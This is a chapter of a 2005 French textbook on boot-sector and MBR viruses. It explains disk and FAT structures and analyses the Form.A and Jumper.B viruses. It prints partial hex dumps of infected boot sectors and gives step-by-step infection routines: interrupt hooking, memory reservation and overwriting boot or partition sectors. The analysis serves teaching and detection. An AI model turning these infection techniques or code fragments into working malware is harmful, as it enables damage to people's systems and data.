Le principe de fonctionnement est le suivant :

• le virus est présent dans le secteur de démarrage d’une disquette,• il contamine le PC lorsque le BIOS exécute le code,• il déplace ou écrase le code original du BOOT ou du MBR du disque dur,• il remplace ce code par lui-même,• il sauvegarde éventuellement le code excédant (code complémentaire du

virus) dans d’autres secteurs, libres ou occupés,• dès lors et à chaque nouveau démarrage, il sera résident en mémoire et capa-

ble d’infecter d’autres disquettes sur un simple accès, pour peu qu’elles nesoient pas protégées en écriture.

La contamination d’un disque dur est donc toujours la conséquence d’une tenta-tive volontaire ou involontaire de démarrage du micro-ordinateur avec une dis-quette contaminée.

Que de fois n’a t’on pas oublié une disquette de donnée dans le lecteur de sonordinateur pour s’en trouver dérangé au démarrage suivant !

PAGET_Ch04 Page 136 Lundi, 11. avril 2005 5:24 17

137

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

4.3 Attaque du boot

4.3 ATTAQUE DU BOOT

4.3.1 Secteur d’amorce d’une disquette

Voici une zone d’amorce de disquette au format hexadécimal tel qu’il est vu parDISKEDIT (

Norton Utilities

). Ce secteur se situe en cylindre 0, tête 0, secteur 1. Ils’agit du premier secteur physique de la disquette. C’est aussi le secteur logique 0(premier secteur logique).

Figure 4.5

Zone d’amorce d’une disquette 1,44 Mo (format hexa)

Il est possible de visualiser par vous-même ces données. En utilisant le pro-gramme

DEBUG

et après avoir inséré la disquette dans le lecteur, il suffit de taper :

DEBUG-L 100 0 0 1-D 100

***********Zone amorce***********

Sect. 000000000: EB 3C 90 4D 53 44 4F 53 – 35 2E 30 00 02 01 01 00 .<.MSDOS5.0.....00000010: 02 E0 00 40 0B F0 09 00 – 12 00 02 00 00 00 00 00 [email protected]: 00 00 00 00 00 00 29 FE – 4B A7 EC 4E 4F 20 4E 41 ......).K..NO NA00000030: 4D 45 20 20 20 20 46 41 – 54 31 32 20 20 20 33 C9 ME FAT12 3.00000040: 8E D1 BC F0 7B 8E D9 B8 – 00 20 8E C0 FC BD 00 7C ....{.... .....|00000050: 38 4E 24 7D 24 8B C1 99 – E8 3C 01 72 1C 83 EB 3A 8N$}$....<.r...:00000060: 66 A1 1C 7C 26 66 3B 07 – 26 8A 57 FC 75 06 80 CA f..|&f;.&.W.u...00000070: 02 88 56 02 80 C3 10 73 – EB 33 C9 8A 46 10 98 F7 ..V....s.3..F...00000080: 66 16 03 46 1C 13 56 1E – 03 46 0E 13 D1 8B 76 11 f..F..V..F....v.00000090: 60 89 46 FC 89 56 FE B8 – 20 00 F7 E6 8B 5E 0B 03 `.F..V.. ....^..000000A0: C3 48 F7 F3 01 46 FC 11 – 4E FE 61 BF 00 00 E8 E6 .H...F..N.a.....000000B0: 00 72 39 26 38 2D 74 17 – 60 B1 0B BE A1 7D F3 A6 .r9&8-t.`....}..000000C0: 61 74 32 4E 74 09 83 C7 – 20 3B FB 72 E6 EB DC A0 at2Nt... ;.r....000000D0: FB 7D B4 7D 8B F0 AC 98 – 40 74 0C 48 74 13 B4 0E .}.}[email protected]: BB 07 00 CD 10 EB EF A0 – FD 7D EB E6 A0 FC 7D EB .........}....}.000000F0: E1 CD 16 CD 19 26 8B 55 – 1A 52 B0 01 BB 00 00 E8 .....&.U.R......00000100: 3B 00 72 E8 5B 8A 56 24 – BE 0B 7C 8B FC C7 46 F0 ;.r.[.V$..|...F.00000110: 3D 7D C7 46 F4 29 7D 8C – D9 89 4E F2 89 4E F6 C6 =}.F.)}...N..N..00000120: 06 96 7D CB EA 03 00 00 – 20 0F B6 C8 66 8B 46 F8 ..}..... ...f.F.00000130: 66 03 46 1C 66 8B D0 66 – C1 EA 10 EB 5E 0F B6 C8 f.F.f..f....^...00000140: 4A 4A 8A 46 0D 32 E4 F7 – E2 03 46 FC 13 56 FE EB JJ.F.2....F..V..00000150: 4A 52 50 06 53 6A 01 6A – 10 91 8B 46 18 96 92 33 JRP.Sj.j...F...300000160: D2 F7 F6 91 F7 F6 42 87 – CA F7 76 1A 8A F2 8A E8 ......B...v.....00000170: C0 CC 02 0A CC B8 01 02 – 80 7E 02 0E 75 04 B4 42 .........~..u..B00000180: 8B F4 8A 56 24 CD 13 61 – 61 72 0B 40 75 01 42 03 [email protected]: 5E 0B 49 75 06 F8 C3 41 – BB 00 00 60 66 6A 00 EB ^.Iu...A...`fj..000001A0: B0 4E 54 4C 44 52 20 20 – 20 20 20 20 0D 0A 4E 54 .NTLDR ..NT000001B0: 4C 44 52 20 6D 61 6E 71 – 75 65 FF 0D 0A 45 72 72 LDR manque...Err000001C0: 2E 20 64 69 73 71 75 65 – FF 0D 0A 41 70 70 75 79 . disque...Appuy000001D0: 65 7A 20 75 6E 65 20 74 – 6F 75 63 68 65 20 70 6F ez une touche po000001E0: 75 72 20 72 65 64 82 6D – 61 72 72 65 72 0D 0A 00 ur red.marrer...000001F0: 00 00 00 00 00 00 00 00 – 00 00 00 AC BB C9 55 AA ..............U.

PAGET_Ch04 Page 137 Lundi, 11. avril 2005 5:24 17

138 Chapitre 4. Les virus système

Pour sortir du programme, il faut taper Q (pour Quitter) à l’invite symbolisée parle tiret :

-Q

Les trois premiers octets représentent une instruction de saut vers le point decommencement effectif du programme. Ce peut être une instruction de saut normal(sur trois octets) ou, comme ici, un

short jump

qui ne nécessite que deux octets ; letroisième étant un

nop

qui veut dire NO OPERATION et correspond à 90h en hexa-décimal.

Les 43 octets suivants correspondent à un bloc de données que DISKEDIT nouspermet de comprendre au travers de son visionneur de zone d’amorce. Ce bloc portele nom de BPB (Bloc de Paramètres Bios).

Figure 4.6

Zone d’amorce d’une disquette 1,44 Mo (format visionneur)

Ces données sont nécessaires pour les différentes fonctions BIOS. Le DOS lesutilisent également dans des buts variés. Certains virus les modifieront, mais la struc-ture de la zone sera préservée.

Vient ensuite le programme d’amorce proprement dit. Il se termine par une zonede texte qui sera affichée en cas d’échec de démarrage. Ce code, présent sur la dis-quette, est le premier à être exécuté par le BIOS depuis ce support.

Les deux derniers octets sont la signature du secteur (55h AAh).

***********Zone amorce***********

Sect. 0 ID OEM: MSDOS5.0 Octets par secteur: 512 Secteurs par groupe: 1 Secteurs réservés du début: 1 Exemplaires de la table FAT: 2 Entrées du répertoire Racine: 224 Nombre de secteurs du disque: 2880 Octet descripteur du Media: F0 Hexa Secteurs par FAT: 9 Secteurs par piste: 18 Têtes: 2 Secteurs cachés spéciaux: 0 Grand total du nombre de secteurs: (Inutilisé) Numéro physique du disque: 0 Signature de Zone Amorce ‚tendue: 29 Hexa Numéro de Série du Volume: ECA74BFE Hexa Nom du Volume: NO NAME ID Système fichiers: FAT12

PAGET_Ch04 Page 138 Lundi, 11. avril 2005 5:24 17

139

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

4.3 Attaque du boot

4.3.2 Secteur d’amorce d’un disque dur

Comme nous l’avons déjà signalé, un disque dur renferme 2 types de secteurd’amorce. Cette dualité est nécessaire car un même disque peut contenir plusieurspartitions, chacune d’entre elle ayant son secteur d’amorce.

Vue au format hexadécimal, la structure de cette zone (cylindre 0, tête 1, secteur1 pour la première partition) est similaire à celle d’une disquette. Ce secteur est lepremier secteur logique de sa partition.

Afin d’en permettre la gestion par le BIOS et le système d’exploitation, un sec-teur dit

des partitions

est également présent. Situé dans une zone extérieure àl’ensemble des partitions (cylindre 0, tête 0, secteur 1), sa structure sera développéeplus avant dans ce chapitre.

Figure 4.7

Zone d’amorce d’un disque dur (format visionneur)

Le bloc des paramètres BIOS (BPB) contient des données différentes de cellesdes disquettes. Le visionneur nous les fait découvrir. Parmi elles, on notera :

• La taille d’un cluster (secteurs par groupe). C’est l’espace le plus petit pouvantêtre géré par le système. Limité à un secteur pour les disquettes, il varie selonla taille du disque dur.

• Le nombre de fichiers acceptables dans le répertoire racine.

***********Zone amorce***********

Sect. 0 ID OEM: MSWIN4.1 Octets par secteur: 512 Secteurs par groupe: 64 Secteurs réservés du début: 1 Exemplaires de la table FAT: 2 Entrées du répertoire Racine: 512 Nombre de secteurs du disque: (Inutilisé) Octet descripteur du Media: F8 Hexa Secteurs par FAT: 256 Secteurs par piste: 63 Têtes: 128 Secteurs cachés spéciaux: 63 Grand total du nombre de secteurs: 4193217 Numéro physique du disque: 128 Signature de Zone Amorce ‚tendue: 29 Hexa Numéro de Série du Volume: 413E1202 Hexa Nom du Volume: NO NAME

PAGET_Ch04 Page 139 Lundi, 11. avril 2005 5:24 17

140 Chapitre 4. Les virus système

• L’octet descripteur de Media. Il indique le type de machine permettant detraiter le support. Parmi les codes utilisés, citons :– F0h pour les disquettes 3 pouce 1/2.– F8h pour les disques durs.

• La taille du disque et de ses FAT

1

.

Que ce soit sur une disquette ou un disque dur, la zone programme est similaire.S’il ne cible pas le secteur de partition, c’est là que le virus s’installera. Ce code, pré-sent sur le disque dur, est le second à être exécuté par le BIOS depuis ce support (lepremier étant le code de partition).

4.3.3 Structure d’une disquette

La figure suivante présente la structure d’une disquette 1.44 Mo après un formatagestandard.

Durant le formatage, le DOS divise la disquette plusieurs parties logiques :

• La zone d’amorce (BOOT).• La table d’allocation des fichiers (FAT – File Allocation Table).• Le répertoire racine (ROOT).• La zone de données.

Décrit précédemment, le secteur d’amorçage se situe dans le premier secteur phy-sique du disque.

La table d’allocation des fichiers (FAT) est située après le secteur d’amorce. Elleest utilisée par le DOS pour garder la trace des secteurs libres, utilisés ou endomma-gés. Pour chaque fichier, la FAT gère une sorte d’index dans lequel sont définis etrepérés tous les clusters qui le constitue.

C’est une zone vitale ; si elle est endommagée, les informations enregistrées sur ledisque risquent de devenir inaccessibles alors que les fichiers sont encore intacts.Pour éviter cette situation, une seconde FAT, copie conforme de la première, esttenue à jour lors de chaque modification.

Chaque information enregistrée dans la FAT d’une disquette comporte 12 octets.

Chaque champ de la FAT contient une valeur correspondant à l’état d’utilisationdu cluster référencé.

1.

File Allocation Table

ou Table d’Allocation de Fichiers. Zone dédiée au système de gestion desfichiers utilisé par le DOS (voir paragraphe suivant).

PAGET_Ch04 Page 140 Lundi, 11. avril 2005 5:24 17

141

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

4.3 Attaque du boot

Avant la zone de données, se trouve le répertoire racine. Quand un fichier estcréé sous la racine, les informations le concernant (nom, extension, date, taille etc.)sont mémorisées dans des espaces dédiés à cet effet. Parmi ces informations, figure lenuméro du premier cluster attribué au fichier. Si le fichier a besoin de plusieurs clus-ters, leurs numéros et séquencement sont stockés dans la FAT.

Figure 4.8

Structure d’une disquette 1,44 Mo

4.3.4 Structure d’un disque dur

Un disque dur débute avec son secteur de partition. Il s’agit du premier secteurphysique du disque (Cylindre 0, Tête 0, Secteur 1).

Plus en aval, se trouve la zone d’amorce (Cylindre 0, Tête 1, Secteur 1). Entre cesdeux secteurs stratégiques, un espace reste inoccupé. Il s’agit de l’ensemble des sec-teurs liés conjointement au cylindre 0 et à la tête 0.

Viennent ensuite les FAT et le répertoire racine selon le même schéma que pourles disquettes.

Tableau 4.2

— Descriptif d’une FAT12

FAT12 Description

000h Cluster inutilisé

FF0h-FF6h Cluster réservé

FF7h Cluster défectueux

FF8h-FFFh Dernier cluster du fichier ou de répertoire

XXXh (autre valeur) n° cluster suivant du fichier ou du répertoire

PAGET_Ch04 Page 141 Lundi, 11. avril 2005 5:24 17

142 Chapitre 4. Les virus système

Figure 4.9

Structure d’un disque dur

À la différence des disquettes, chaque information enregistrée dans la FAT com-porte 16 ou 32 bits.

4.3.5 Le virus

Form

Form

fut l’un des virus les plus répandus en Europe. Il contamine le secteur d’amor-çage des disquettes et des disques durs.

Sur une disquette, le virus remplace le secteur de démarrage habituel. Il copie lasuite de son code (code complémentaire) dans le premier secteur libre qu’il rencon-tre. Dans le secteur suivant, il recopie le secteur de démarrage original. Sur les dis-ques durs, il investit les 2 derniers secteurs physiques du disque.

En voici le fonctionnement simplifié. Il s’agit, ni plus ni moins, de la mise en pra-tique des éléments théoriques jusqu’ici exposés.

Tableau 4.3

— Descriptif des FAT16 et FAT32

FAT16 FAT32 Description

0000h 00000000h Cluster inutilisé

FFF0h-FFF6h 0FFFFFF0h-0FFFFFF6h Cluster réservé

FFF7h 0FFFFFF7h Cluster défectueux

FFF8h-FFFFh 0FFFFFF8h-0FFFFFFFh Dernier cluster du fichier ou de répertoire

XXXXh(autre valeur)

0XXXXXXXh(autre valeur)

n° cluster suivant du fichier ou du répertoire

PAGET_Ch04 Page 142 Lundi, 11. avril 2005 5:24 17

143

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

4.3 Attaque du boot

Démarrage depuis une disquette infectée

1. Saut court (JUMP SHORT : EBh 53h) pour préserver la zone de données(BPB).

2. Initialisation de la pile et des registres de segment.3. Diminution de la taille mémoire disponible (soustraction de 2 dans la varia-

ble BIOS située à l’adresse

0:413h

). Le virus se réserve la zone des 2 kilo-octets supérieurs de la mémoire vive.

4. Calcul de l’adresse du segment de cette zone et transfert du secteur de démar-rage infecté (instruction

MOVSW

).5. Empilage de l’adresse ou devra se poursuivre le programme (instructions

PUSH

).

Figure 4.10

Début de la zone d’amorce infectée par

Form.A

6. Lecture du code complémentaire du virus et chargement à la suite du codeprécédent (

Int 13h, fonction02h

).7. Saut dans la partie recopiée (instruction

RETF

) pour poursuivre l’exécutiondu code viral.

8. Lecture et chargement du secteur de démarrage sain à son adresse habituelle(Int 13h, fonction 02h).

9. Routine de contamination du disque dur. Elle sera détaillée au paragraphesuivant. Si elle échoue ou si le disque dur est déjà contaminé, le processussaute immédiatement à l’étape suivante.

10. Détournement de l’interruption 13h pour faire pointer le vecteur sur le codeviral dédié à l’infection des disquettes.

11. Lecture de la date système. Selon la valeur lue, le virus détournera ou non,l’interruption 09h (IRQ1 : clavier) pour qu’elle pointe sur la routine viraledédiée aux dommages (il ne s’agit ici que de perturbation).

12. Fin du processus. Exécution du BOOT sain précédemment chargé enmémoire.

***********Zone amorce***********

Sect. 000000000: EB 53 90 49 42 4D 20 20 – 33 2E 33 00 02 01 01 00 .S.IBM 3.3.....00000010: 02 E0 00 40 0B F0 09 00 – 12 00 02 00 00 00 00 00 [email protected]: 00 00 00 00 00 00 00 00 – 00 00 FA 33 ED B8 C0 07 ...........3....00000030: 8E D8 C4 1E 1C 00 88 16 – FD 01 0A D2 79 08 89 01 ............y...00000040: FE 12 2E 00 F0 87 E9 00 – F0 07 01 00 00 06 01 00 ................00000050: 00 01 00 80 01 FA 33 C0 – 8E D0 BC FE 7B FB 1E 56 ......3.....{..V00000060: 52 50 07 B8 C0 07 8E D8 – 33 F6 26 83 2E 13 04 02 RP......3.&.....00000070: 26 A1 13 04 B1 06 D3 E0 – 8E C0 33 FF B9 FF 00 FC &.........3.....00000080: F3 A5 06 B8 9A 00 50 BB – FE 01 B8 01 02 8B 0E 4D ......P........M00000090: 00 8B 16 4F 00 CD 13 72 – FE CB 0E 1F E8 2F 00 E8 ...O...r..../..000000A0: 41 00 BB 4C 00 BE 41 00 – BF 46 03 E8 C7 00 B4 04 A..L..A..F......

PAGET_Ch04 Page 143 Lundi, 11. avril 2005 5:24 17

144 Chapitre 4. Les virus système

En figure 4.10, l’une des chaînes hexadécimales caractéristique du virus Form estnotée en gras. Sans anti-virus, elle pourrait permettre la détection de cette variante.

Contamination du disque dur

Voici maintenant le détail de la précédente étape 9 :

1. Lecture des paramètres de l’unité de disque dur pour en connaître sa taille (Int13h, fonction 08h).

2. Lecture du secteur de partition du disque dur pour connaître la partitionactive (Int 13h, fonction 02h).

3. Lecture du secteur de démarrage de cette partition (Int 13h, fonction 02h). Leprocessus se termine sans contamination si :– le disque est déjà contaminé,– la taille du secteur est différente de 512 octets,

4. Écriture du secteur de démarrage sain dans le dernier secteur physique dudisque dur (Int 13h, fonction 03h),

5. Écriture du code complémentaire du virus dans l’avant dernier secteur physi-que du disque dur (Int 13h, fonction 03h),

6. Recopie du BPB du secteur de démarrage de la partition active à l’emplace-ment qui lui est réservé dans le code du virus,

7. Écriture de la signature de fin de secteur (55h AAh) à l’emplacement qui luiest réservé dans le code du virus,

8. Écriture des 512 premiers octets du code du virus en lieu et place du secteur dedémarrage de la partition active (Int 13h, fonction 03h).

Figure 4.11 — Synoptique de l’infection d’un disque dur par le virus FORM.A

Contamination des disquettes

Le vecteur de l’interruption 13h pointe sur le code du virus. C’est celui ci qui seraexécuté avant qu’il ne redonne la main au code légitime dédié à cette interruption :

PAGET_Ch04 Page 144 Lundi, 11. avril 2005 5:24 17

145©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it4.3 Attaque du boot

1. Analyse des paramètres liés à l’appel de l’interruption. Le processus d’infec-tion se poursuit si :– la cible est une disquette,– la fonction appelée est la lecture d’un secteur (Int13h, fonction 02h),– le cylindre ciblé est le cylindre 0,

2. Lecture du secteur de démarrage de la disquette (Int 13h, fonction 02h). Leprocessus se termine sans contamination si :– le disque est déjà contaminé,– la taille du secteur est différente de 512 octets,

3. Localisation et lecture de la première FAT (Int 13h, fonction 02h). Recherchedes 2 premiers secteurs libres qui seront déclarés défectueux (Int 13h, fonction03h).

4. Mise à jour de la seconde FAT (Int 13h, fonction 02h & 03h).5. Lecture du secteur de démarrage de la disquette (Int 13h, fonction 02h).6. Écriture de ce secteur vers le second secteur désigné mauvais (Int 13h, fonction

03h).7. Écriture du code complémentaire du virus dans le premier secteur désigné

mauvais (Int 13h, fonction 03h).8. Recopie du BPB du secteur de démarrage de la disquette à l’emplacement qui

lui est réservé dans le code du virus.9. Écriture de la signature de fin de secteur (55h AAh) à l’emplacement qui lui

est réservé dans le code du virus.10.Écriture des 512 premiers octets du code du virus en lieu et place du secteur de

démarrage de la disquette (Int 13h, fonction 02h).

Figure 4.12 — Synoptique de l’infection d’une disquette par le virus FORM.A

PAGET_Ch04 Page 145 Lundi, 11. avril 2005 5:24 17

146 Chapitre 4. Les virus système

Perturbation produite par le virus Form

Le 24 de chaque mois, l’interruption clavier (INT 09h) est détournée. Ceci entraînel’émission de bruits de cliquetis chaque fois qu’une touche est activée.

Un message, jamais affiché, est présent en fin du secteur complémentaire duvirus.

Figure 4.13 — Message contenu dans le virus Form.A

4.4 ATTAQUE DU MBR

4.4.1 Structure du secteur des partitions

Alors que la zone d’amorce est le premier secteur logique d’un disque, le secteur despartitions se situe en amont, dans le premier secteur physique du disque dur.

Sa structure hexadécimale est particulière. Elle aussi contient un programme etune zone de données.

Le secteur débute par le code de partition. Il s’agit du premier programme situésur le disque dur et exécuté par le BIOS lors du démarrage de la machine. Sa taille nedoit pas dépasser 444 octets car la table des partitions débute systématiquement àl’offset1 1BEh.

Dans cette table, chaque partition est décrite par une structure de 16 octets. Ellen’offre de place que pour quatre entrées, ce qui limite le nombre de partitions pardisque à quatre.

00000170: 54 68 65 20 46 4F 52 The FOR00000180: 4D 2D 56 69 72 75 73 20 – 73 65 6E 64 73 20 67 72 M-Virus sends gr00000190: 65 65 74 69 6E 67 73 20 – 74 6F 20 65 76 65 72 79 eetings to every000001A0: 6F 6E 65 20 77 68 6F 27 – 73 20 72 65 61 64 69 6E one who’s readin000001B0: 67 20 74 68 69 73 20 74 – 65 78 74 2E 46 4F 52 4D g this text.FORM000001C0: 20 64 6F 65 73 6E 27 74 – 20 64 65 73 74 72 6F 79 doesn’t destroy000001D0: 20 64 61 74 61 21 20 44 – 6F 6E 27 74 20 70 61 6E data! Don’t pan000001E0: 69 63 21 20 46 75 63 6B – 69 6E 67 73 20 67 6F 20 ic! Fuckings go 000001F0: 74 6F 20 43 6F 72 69 6E – 6E 65 2E to Corinne

1. Nombre d’octets à sauter depuis le début d’une zone de code (ici le secteur de partition) pouratteindre l’information recherché (ici la table des partitions).

PAGET_Ch04 Page 146 Lundi, 11. avril 2005 5:24 17

147©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it4.4 Attaque du MBR

Figure 4.14 — Secteur de partition d’un disque dur (format hexadécimal)

Le secteur se termine par la signature 55h AAh.

Figure 4.15 — Secteur de partition d’un disque dur (format visionneur)

*******************Table de Partitions*******************

Secteur Physique: Cyl 0 Tête 0 Secteur 1 00000000: FA 33 C0 8E D0 BC 00 7C – 8B F4 50 07 50 1F FB FC .3.....|..P.P..00000010: BF 00 06 B9 00 01 F2 A5 – EA 1D 06 00 00 BE BE 07 ................00000020: B3 04 80 3C 80 74 0E 80 – 3C 00 75 1C 83 C6 10 FE ...<.t..<.u.....00000030: CB 75 EF CD 18 8B 14 8B – 4C 02 8B EE 83 C6 10 FE .u......L.......00000040: CB 74 1A 80 3C 00 74 F4 – BE 8B 06 AC 3C 00 74 0B .t..<.t.....<.t.00000050: 56 BB 07 00 B4 0E CD 10 – 5E EB F0 EB FE BF 05 00 V.......^.......00000060: BB 00 7C B8 01 02 57 CD – 13 5F 73 0C 33 C0 CD 13 ..|...W.._s.3...00000070: 4F 75 ED BE A9 06 EB D3 – BE E1 06 BF FE 7D 81 3D Ou...........}.=00000080: 55 AA 75 C7 8B F5 EA 00 – 7C 00 00 54 61 62 6C 65 U.u.....|..Table00000090: 20 64 65 20 70 61 72 74 – 69 74 69 6F 6E 20 6E 6F de partition no000000A0: 6E 20 76 61 6C 69 64 65 – 00 45 72 72 65 75 72 20 n valide.Erreur 000000B0: 61 75 20 63 6F 75 72 73 – 20 64 75 20 63 68 61 72 au cours du char000000C0: 67 65 6D 65 6E 74 20 64 – 75 20 73 79 73 74 8A 6D gement du syst.m000000D0: 65 20 64 27 65 78 70 6C – 6F 69 74 61 74 69 6F 6E e d’exploitation000000E0: 00 53 79 73 74 8A 6D 65 – 20 64 27 65 78 70 6C 6F .Syst.me d’explo000000F0: 69 74 61 74 69 6F 6E 20 – 61 62 73 65 6E 74 00 00 itation absent..00000100: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................00000110: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................00000120: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................00000130: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................00000140: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................00000150: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................00000160: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................00000170: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................00000180: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................00000190: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................000001A0: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................000001B0: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 80 01 ................000001C0: 01 00 06 FE 7F 04 3F 00 – 00 00 86 FA 3F 00 00 00 .... .?.....?...000001D0: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................000001E0: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................000001F0: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 55 AA ..............U.

*******************Table de Partitions*******************

Secteur Physique: Cyl 0 Tête 0 Secteur 1+------+----+--------------------+--------------------+-----------+-----------+|Systè.|Amo-| Position de D‚but | Position de Fin |No 1e Sect.| Nombre de ||Expl. |rce |Tête Cylindr Secteur|Tête Cylindr Secteur| physique | Secteurs |+------+----+--------------------+--------------------+-----------+-----------+|BIGDOS| Oui| 1 0 1 | 25 260 63 | 63| 4192902||Libre | Non| 0 0 0 | 0 0 0 | 0| 0||Libre | Non| 0 0 0 | 0 0 0 | 0| 0||Libre | Non| 0 0 0 | 0 0 0 | 0| 0|+------+----+--------------------+--------------------+-----------+-----------+

PAGET_Ch04 Page 147 Lundi, 11. avril 2005 5:24 17

148 Chapitre 4. Les virus système

Le visionneur employé pour le secteur d’amorce est aussi utilisable ici. Il illustreles données de la table.

Figure 4.16 — Synoptique de l’infection d’un secteur des partitions (MBR)

4.4.2 Le virus Jumper.B

Jumper.B est un virus français, tout comme Form, il fut l’un des plus répandus dansnotre pays. Il contamine le secteur d’amorçage des disquettes et le secteur de parti-tions des disques durs.

Sur une disquette, le virus remplace le secteur de démarrage. Il copie la suite deson code (code complémentaire) dans un secteur dépendant du type de supportinfecté. Pour tous les types de disquettes, sauf celles à l’ancien format 1,2 Mo, le sec-teur sélectionné est le dernier du répertoire racine.

Pour les disquettes 1,44 Mo, il s’agit du cylindre 0, tête 1, secteur 15.

Sur les disques dur, le virus utilise systématiquement le cylindre 0, tête 0,secteur 14.

Le code du virus débute par un saut long (JUMP FAR : EAh 05h 00h C0h 07h)vers la zone mémoire où le BIOS a positionné le secteur de démarrage lorsque lamachine démarre. Les instructions suivantes exécutées sont la copie conforme decelles présentes dans le secteur d’origine ; c’est tout d’abord un second saut (JUMPSHORT : EBh 37h).

La zone de données (BPB) est préservée. L’emplacement de la table des partitions(à compter de l’offset 1BEh) est également gardé intact comme il est aisé de le cons-tater en figure 4.17.

PAGET_Ch04 Page 148 Lundi, 11. avril 2005 5:24 17

149©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it4.4 Attaque du MBR

Figure 4.17 — Éléments de la zone d’amorce d’une disquette infectée par Jumper.B

Le code du virus débute de façon habituelle. Après l’initialisation des registres,il :

• Réduit la taille de la mémoire disponible pour s’en réserver un espace dans lazone supérieure.

• Transfert son code dans l’espace réservé.• Saute dans la zone pour continuer l’exécution.

Avant l’exécution du saut, le virus lit la valeur du compteur de ticks (chronomè-tre). En fonction de celle ci, il entrera parfois dans une boucle sans fin qui remplitl’écran de caractères Epsilon (EDh). Dans le cas contraire, il détourne l’interruption1Ch et poursuit son l’exécution en zone haute de la mémoire.

Il charge le secteur original (BOOT ou MBR) qu’il avait sauvegardé au momentde son infection. Vérifiant le type de support, il infecte le disque dur dans la mesureou il constate qu’il a été lancé depuis une disquette. Pour finir, il redonne la main ausecteur original.

Les interruptions 13h ou 21h n’ont pas été détournées. Une fois le code viral rési-dent en mémoire, l’infection des disquettes ne peut encore avoir lieu.

Le code viral est cependant appelé au travers de l’interruption 1Ch, c’est-à-dire18,2 fois par seconde. Une procédure complexe lui permet de définir le momentopportun pour détourner l’interruption 21h sans perturber un éventuel chargementdu système d’exploitation1.

***********Zone amorce***********

00000000: EA 05 00 C0 07 EB 37 0F – 00 00 01 00 02 01 01 00 ......7.........00000010: 02 E0 00 40 0B F0 09 00 – 12 00 02 00 00 00 00 00 [email protected]: 00 00 00 00 00 00 29 FD – 10 6D 08 4E 4F 20 4E 41 ......)..m.NO NA00000030: 4D 45 20 20 20 20 46 41 – 54 31 32 20 20 20 BB 00 ME FAT12 ..00000040: 7C 31 C0 8E D0 89 DC 8E – D8 89 C7 A1 13 04 2D 02 |1............-.00000050: 00 90 B1 06 A3 13 04 D3 – E0 8E C0 A1 6C 04 80 FC ............l...00000060: 0A 72 0C 24 1F 75 08 B8 – ED 0E 40 CD 10 EB F8 80 [email protected]: C4 06 26 88 26 C6 01 89 – DE E8 36 00 BE 70 00 A5 ..&.&.....6..p..00000080: A5 FA C7 06 70 00 2F 01 – 8C 06 72 00 FB B8 93 00 ....p./...r.....00000090: 06 50 CB 1E 53 1E 07 8B – 4F 07 8B 57 09 80 E2 80 .P..S...O..W....000000A0: B8 01 02 CD 13 72 C0 80 – FA 80 74 05 B2 80 E8 13 .....r....t.....

000001B0: 00 F8 03 00 01 FD 0F 00 – 01 F0 05 00 01 F9 75 65 ..............ue000001C0: 0D 0A 52 65 6D 70 6C 61 – 63 65 7A 20 65 74 20 70 ..Remplacez et p000001D0: 72 65 73 73 65 7A 20 74 – 6F 75 63 68 65 0D 0A 00 ressez touche...000001E0: 49 4F 20 20 20 20 20 20 – 53 59 53 4D 53 44 4F 53 IO SYSMSDOS000001F0: 20 20 20 53 59 53 00 00 – 00 00 00 00 00 00 55 AA SYS........U.

1. WHALLEY Ian (avril 1995), Jumper: Jumping the Gun, Virus Bulletin, avril 1995, pp 11-12.

PAGET_Ch04 Page 149 Lundi, 11. avril 2005 5:24 17

150 Chapitre 4. Les virus système

Jumper utilise en effet des fonctions du DOS (INT 21h) pour infecter les disquet-tes, au lieu des fonctions BIOS (INT 13h) utilisées en général par les autres virussystème.

Une fois détournées, Jumper intercepte les fonctions 0Eh (sélection d’un disque)et 0Ah (lecture d’une chaîne de caractères). Si ces appels sont en relation avec unévénement sur les lecteurs A: ou B: les disquettes seront infectées. Elles le seront siles deux premiers octets du premier secteur physique ne sont pas EAh 05h, cas d’unedisquette déjà infectée.

Figure 4.18 — Éléments du secteur de partitionsd’un disque dur infecté par Jumper.B

4.5 TECHNIQUES AVANCÉES

Ce chapitre pourrait se poursuivre avec de nombreux autres virus. Ils ont tous leursparticularités. Voyons simplement ici quelques points particuliers intéressants.

4.5.1 Modification de la CMOS

Le démarrage depuis une disquette saine est indispensable pour l’élimination d’unvirus système. Afin d’interdire cet usage, le virus Exebug tente d’empêcher l’accès aulecteur de disquette lors du démarrage de l’ordinateur. Sur certaines machines, il estcapable de modifier la configuration de la mémoire RAM CMOS utilisée par leBIOS en indiquant une absence de lecteur de disquette.

*******************Table de Partitions*******************

